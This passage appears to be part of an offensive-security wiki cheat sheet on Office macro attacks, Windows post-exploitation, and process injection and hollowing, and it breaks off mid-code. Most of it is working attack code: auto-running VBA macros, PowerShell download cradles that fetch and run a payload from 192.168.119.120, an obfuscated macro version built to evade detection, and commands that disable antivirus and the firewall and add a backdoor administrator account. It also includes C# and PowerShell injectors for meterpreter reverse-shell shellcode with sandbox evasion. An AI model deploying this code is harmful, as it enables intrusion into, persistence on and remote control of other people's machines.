Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
